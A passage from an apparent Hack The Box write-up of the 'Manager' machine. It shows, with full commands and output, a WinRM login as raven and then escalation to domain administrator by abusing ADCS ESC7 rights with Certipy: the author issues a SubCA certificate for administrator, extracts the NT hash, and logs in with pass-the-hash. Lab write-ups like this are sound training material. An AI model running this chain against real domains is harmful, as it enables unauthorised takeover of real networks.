WINRM 10.10.11.236 5985 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
WINRM 10.10.11.236 5985 DC01 [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)
I’m able to connect and get a shell:
oxdf@hacky$ evil-winrm -i manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'
Evil-WinRM shell v3.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents>
And grab user.txt
:
*Evil-WinRM* PS C:\Users\Raven\Desktop> type user.txt
6e6a6b72************************
Shell as administrator
Enumeration
Filesystem
raven’s home directory is otherwise completely empty:
*Evil-WinRM* PS C:\Users\Raven> ls -recurse .
Directory: C:\Users\Raven
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 7/27/2023 8:24 AM Desktop
d-r--- 7/27/2023 8:23 AM Documents
d-r--- 9/15/2018 12:19 AM Downloads
d-r--- 9/15/2018 12:19 AM Favorites
d-r--- 9/15/2018 12:19 AM Links
d-r--- 9/15/2018 12:19 AM Music
d-r--- 9/15/2018 12:19 AM Pictures
d----- 9/15/2018 12:19 AM Saved Games
d-r--- 9/15/2018 12:19 AM Videos
Directory: C:\Users\Raven\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 3/12/2024 9:21 PM 34 user.txt
There’s no other user directories, and the web directory doesn’t have anything else interesting.
ADCS
With a Windows domain, the next thing to check used to be Bloodhound, but lately it’s worth checking Advice Directory Certificate Services (ADCS) as well, and that’s quick, so I’ll start there. This can be done by uploading Certify or remotely with Certipy. I find Certipy easier.
I’ll look for vulnerable templates:
oxdf@hacky$ certipy find -dc-ip 10.10.11.236 -ns 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : manager-DC01-CA
DNS Name : dc01.manager.htb
Certificate Subject : CN=manager-DC01-CA, DC=manager, DC=htb
Certificate Serial Number : 5150CE6EC048749448C7390A52F264BB
Certificate Validity Start : 2023-07-27 10:21:05+00:00
Certificate Validity End : 2122-07-27 10:31:04+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : MANAGER.HTB\Administrators
Access Rights
Enroll : MANAGER.HTB\Operator
MANAGER.HTB\Authenticated Users
MANAGER.HTB\Raven
ManageCertificates : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
ManageCa : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
MANAGER.HTB\Raven
[!] Vulnerabilities
ESC7 : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates : [!] Could not find any certificate templates
The last line is the most important! Raven has dangerous permissions, with the label ESC7.
ESC7
Add Manage Certificates
ESC7 is when a user has either the “Manage CA” or “Manage Certificates” access rights on the certificate authority itself. Raven has ManageCa rights (shown in the output above).
The steps to exploit this are on the Certipy README.
First, I’ll need to use the Manage CA permission to give Raven the Manage Certificates permission:
oxdf@hacky$ certipy ca -ca manager-DC01-CA -add-officer raven -username raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
Now Raven shows up there where they didn’t before:
oxdf@hacky$ certipy find -dc-ip 10.10.11.236 -ns 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout
...[snip]...
ManageCertificates : MANAGER.HTB\Administrators
MANAGER.HTB\Domain Admins
MANAGER.HTB\Enterprise Admins
MANAGER.HTB\Raven
...[snip]...
This gets reset periodically, so if I find some step breaks while exploiting, it’s worth going back to see if that is why.
Administrator Certificate
The first step is to request a certificate based on the Subordinate Certification Authority (SubCA) template provided by ADCS. The SubCA template serves as a predefined set of configurations and policies governing the issuance of certificates.
oxdf@hacky$ certipy req -ca manager-DC01-CA -target dc01.manager.htb -template SubCA -upn administrator@manager.htb -username raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 13
Would you like to save the private key? (y/N) y
[*] Saved private key to 13.key
[-] Failed to request certificate
This fails, but it saves the private key involved. Then, using the Manage CA and Manage Certificates privileges, I’ll use the ca
subcommand to issue the request:
oxdf@hacky$ certipy ca -ca manager-DC01-CA -issue-request 13 -username raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
Now, the issued certificate can be retrieved using the req
command:
oxdf@hacky$ certipy req -ca manager-DC01-CA -target dc01.manager.htb -retrieve 13 -username raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 13
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '13.key'
[*] Saved certificate and private key to 'administrator.pfx'
Administrator NTLM
With this certificate as the administrator user, the easiest way to get a shell is to use it to get the NTLM hash for the user with the auth
command. This requires the VM and target times to be in sync, with otherwise leads to this failure:
oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[-] Got error: nameserver manager.htb is not an IP address or valid https URL
[-] Use -debug to print a stacktrace
I’ll use ntpdate
to sync my VM’s time to Manager’s:
oxdf@hacky$ sudo ntpdate 10.10.11.236
13 Mar 17:17:40 ntpdate[252490]: step time server 10.10.11.236 offset +25191.022331 sec
Now it works, leaking the hash:
oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
WinRM
With the hash, I can get a shell as administrator using Evil-WinRM:
oxdf@hacky$ evil-winrm -i manager.htb -u administrator -H ae5064c2f62317332c88629e025924ef
Evil-WinRM shell v3.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
And grab root.txt
:
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
589f36d6************************